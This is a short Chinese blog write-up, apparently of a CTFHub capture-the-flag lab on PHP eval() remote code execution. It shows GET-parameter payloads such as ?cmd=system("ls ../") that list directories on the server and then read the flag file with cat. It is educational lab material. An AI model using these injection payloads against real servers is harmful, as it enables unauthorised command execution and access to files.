个人技术分享

CTFHUB-技能树-Web题-RCE(远程代码执行)

eval执行

题目给出代码

在这里插入图片描述

先来看看eval函数是干什么用的

eval():把字符串 code 作为PHP代码执行。函数eval()语言结构是 非常危险的, 因为它允许执行任意 PHP 代码。 它这样用是很危险的。 如果您仔细的确认过,除了使用此结构以外 别无方法, 请多加注意,不要允许传入任何由用户 提供的、未经完整验证过的数据 。
解题方法:

结合该题出现在RCE板块,果断试一试在url里面get一下

构造网址,查找当前目录文件
?cmd=system("ls");切记输入;

在这里插入图片描述

并没有发现flag,接着查看上一级目录
?cmd=system("ls ../");

在这里插入图片描述

没有发现flag,耐心点

接着查看上一级
?cmd=system("ls ../../");

在这里插入图片描述

接着查看上一级目录,
?cmd=system("ls ../../../");
我们发现了flag_31425的存在。

在这里插入图片描述

在这里插入图片描述

此时就用?cmd=system(“cat /flag_31425”);打开目录下的flag。

在这里插入图片描述

system()函数:执行系统命令并输出执行结果。
?cmd=system("ls /");查看根目录,